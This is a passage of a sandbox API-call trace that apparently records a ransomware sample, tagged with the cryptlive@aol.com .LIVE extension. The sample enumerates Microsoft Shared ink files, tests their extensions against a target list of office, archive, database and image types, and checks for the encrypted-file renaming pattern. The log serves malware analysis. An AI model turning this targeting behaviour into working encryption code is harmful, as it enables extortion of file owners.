lstrlenW (lpString=".jpg") returned 4 [0040.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.824] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.824] lstrlenW (lpString="Alphabet.xml") returned 12 [0040.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.826] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=791686) returned 1 [0040.826] CloseHandle (hObject=0x1b0) returned 1 [0040.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0040.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.826] lstrlenW (lpString=".doc") returned 4 [0040.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.826] lstrlenW (lpString=".docx") returned 5 [0040.826] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0040.826] lstrlenW (lpString=".pdf") returned 4 [0040.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.826] lstrlenW (lpString=".xls") returned 4 [0040.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.826] lstrlenW (lpString=".xlsx") returned 5 [0040.826] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0040.826] lstrlenW (lpString=".ppt") returned 4 [0040.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.826] lstrlenW (lpString=".zip") returned 4 [0040.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.826] lstrlenW (lpString=".rar") returned 4 [0040.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.826] lstrlenW (lpString=".bz2") returned 4 [0040.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.827] lstrlenW (lpString=".7z") returned 3 [0040.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.827] lstrlenW (lpString=".dbf") returned 4 [0040.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.827] lstrlenW (lpString=".1cd") returned 4 [0040.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.827] lstrlenW (lpString=".jpg") returned 4 [0040.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.827] lstrlenW (lpString=".doc") returned 4 [0040.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.827] lstrlenW (lpString=".docx") returned 5 [0040.827] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0040.827] lstrlenW (lpString=".pdf") returned 4 [0040.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.828] lstrlenW (lpString=".xls") returned 4 [0040.828] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.828] lstrlenW (lpString=".xlsx") returned 5 [0040.828] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0040.828] lstrlenW (lpString=".ppt") returned 4 [0040.828] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.828] lstrlenW (lpString=".zip") returned 4 [0040.828] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.828] lstrlenW (lpString=".rar") returned 4 [0040.828] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.828] lstrlenW (lpString=".bz2") returned 4 [0040.828] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.828] lstrlenW (lpString=".7z") returned 3 [0040.828] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.828] lstrlenW (lpString=".dbf") returned 4 [0040.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.828] lstrlenW (lpString=".1cd") returned 4 [0040.828] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0040.828] lstrlenW (lpString=".jpg") returned 4 [0040.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.828] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.828] lstrlenW (lpString="Content.xml") returned 11 [0040.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.829] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=27045) returned 1 [0040.829] CloseHandle (hObject=0x1b0) returned 1 [0040.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0040.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.829] lstrlenW (lpString=".doc") returned 4 [0040.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.829] lstrlenW (lpString=".docx") returned 5 [0040.829] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0040.829] lstrlenW (lpString=".pdf") returned 4 [0040.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.829] lstrlenW (lpString=".xls") returned 4 [0040.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.829] lstrlenW (lpString=".xlsx") returned 5 [0040.829] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0040.829] lstrlenW (lpString=".ppt") returned 4 [0040.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.830] lstrlenW (lpString=".zip") returned 4 [0040.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.830] lstrlenW (lpString=".rar") returned 4 [0040.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString=".bz2") returned 4 [0040.830] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString=".7z") returned 3 [0040.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.830] lstrlenW (lpString=".dbf") returned 4 [0040.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.830] lstrlenW (lpString=".1cd") returned 4 [0040.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.830] lstrlenW (lpString=".jpg") returned 4 [0040.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.830] lstrlenW (lpString=".doc") returned 4 [0040.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString=".docx") returned 5 [0040.830] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0040.830] lstrlenW (lpString=".pdf") returned 4 [0040.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString=".xls") returned 4 [0040.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString=".xlsx") returned 5 [0040.830] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0040.830] lstrlenW (lpString=".ppt") returned 4 [0040.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.830] lstrlenW (lpString=".zip") returned 4 [0040.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.830] lstrlenW (lpString=".rar") returned 4 [0040.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.831] lstrlenW (lpString=".bz2") returned 4 [0040.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.831] lstrlenW (lpString=".7z") returned 3 [0040.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.831] lstrlenW (lpString=".dbf") returned 4 [0040.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.831] lstrlenW (lpString=".1cd") returned 4 [0040.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0040.831] lstrlenW (lpString=".jpg") returned 4 [0040.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.831] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0040.831] lstrlenW (lpString="boxed-correct.avi") returned 17 [0040.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.833] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=89600) returned 1 [0040.833] CloseHandle (hObject=0x1b0) returned 1 [0040.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0040.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.833] lstrlenW (lpString=".doc") returned 4 [0040.833] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0040.833] lstrlenW (lpString=".docx") returned 5 [0040.833] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0040.833] lstrlenW (lpString=".pdf") returned 4 [0040.833] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0040.833] lstrlenW (lpString=".xls") returned 4 [0040.833] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0040.833] lstrlenW (lpString=".xlsx") returned 5 [0040.833] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0040.833] lstrlenW (lpString=".ppt") returned 4 [0040.833] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0040.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.833] lstrlenW (lpString=".zip") returned 4 [0040.833] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0040.833] lstrlenW (lpString=".rar") returned 4 [0040.833] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0040.833] lstrlenW (lpString=".bz2") returned 4 [0040.833] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0040.833] lstrlenW (lpString=".7z") returned 3 [0040.833] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0040.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.834] lstrlenW (lpString=".dbf") returned 4 [0040.834] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.834] lstrlenW (lpString=".1cd") returned 4 [0040.834] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0040.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.834] lstrlenW (lpString=".jpg") returned 4 [0040.834] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.834] lstrlenW (lpString=".doc") returned 4 [0040.834] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString=".docx") returned 5 [0040.834] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0040.834] lstrlenW (lpString=".pdf") returned 4 [0040.834] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString=".xls") returned 4 [0040.834] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString=".xlsx") returned 5 [0040.834] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0040.834] lstrlenW (lpString=".ppt") returned 4 [0040.834] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.834] lstrlenW (lpString=".zip") returned 4 [0040.834] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString=".rar") returned 4 [0040.834] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString=".bz2") returned 4 [0040.834] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString=".7z") returned 3 [0040.834] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0040.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.834] lstrlenW (lpString=".dbf") returned 4 [0040.834] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0040.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.835] lstrlenW (lpString=".1cd") returned 4 [0040.835] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0040.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0040.835] lstrlenW (lpString=".jpg") returned 4 [0040.835] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0040.835] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0040.835] lstrlenW (lpString="boxed-delete.avi") returned 16 [0040.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.836] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=31744) returned 1 [0040.836] CloseHandle (hObject=0x1b0) returned 1 [0040.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0040.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.836] lstrlenW (lpString=".doc") returned 4 [0040.836] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0040.836] lstrlenW (lpString=".docx") returned 5 [0040.836] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0040.836] lstrlenW (lpString=".pdf") returned 4 [0040.836] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0040.836] lstrlenW (lpString=".xls") returned 4 [0040.836] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0040.836] lstrlenW (lpString=".xlsx") returned 5 [0040.836] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0040.836] lstrlenW (lpString=".ppt") returned 4 [0040.836] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0040.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.836] lstrlenW (lpString=".zip") returned 4 [0040.836] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0040.836] lstrlenW (lpString=".rar") returned 4 [0040.836] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0040.836] lstrlenW (lpString=".bz2") returned 4 [0040.836] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0040.836] lstrlenW (lpString=".7z") returned 3 [0040.836] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0040.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.837] lstrlenW (lpString=".dbf") returned 4 [0040.837] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0040.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.837] lstrlenW (lpString=".1cd") returned 4 [0040.837] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0040.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.837] lstrlenW (lpString=".jpg") returned 4 [0040.837] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0040.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.837] lstrlenW (lpString=".doc") returned 4 [0040.837] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0040.837] lstrlenW (lpString=".docx") returned 5 [0040.837] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0040.837] lstrlenW (lpString=".pdf") returned 4 [0040.837] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0040.837] lstrlenW (lpString=".xls") returned 4 [0040.837] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0040.837] lstrlenW (lpString=".xlsx") returned 5 [0040.837] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0040.837] lstrlenW (lpString=".ppt") returned 4 [0040.837] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0040.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.837] lstrlenW (lpString=".zip") returned 4 [0040.837] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0040.837] lstrlenW (lpString=".rar") returned 4 [0040.837] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0040.838] lstrlenW (lpString=".bz2") returned 4 [0040.838] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0040.838] lstrlenW (lpString=".7z") returned 3 [0040.838] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0040.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.838] lstrlenW (lpString=".dbf") returned 4 [0040.838] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0040.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.838] lstrlenW (lpString=".1cd") returned 4 [0040.838] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0040.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0040.838] lstrlenW (lpString=".jpg") returned 4 [0040.838] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0040.838] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0040.838] lstrlenW (lpString="boxed-join.avi") returned 14 [0040.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.838] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=33280) returned 1 [0040.838] CloseHandle (hObject=0x1b0) returned 1 [0040.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0040.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.839] lstrlenW (lpString=".doc") returned 4 [0040.839] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString=".docx") returned 5 [0040.839] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0040.839] lstrlenW (lpString=".pdf") returned 4 [0040.839] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString=".xls") returned 4 [0040.839] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString=".xlsx") returned 5 [0040.839] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0040.839] lstrlenW (lpString=".ppt") returned 4 [0040.839] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.839] lstrlenW (lpString=".zip") returned 4 [0040.839] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString=".rar") returned 4 [0040.839] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString=".bz2") returned 4 [0040.839] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString=".7z") returned 3 [0040.839] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0040.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 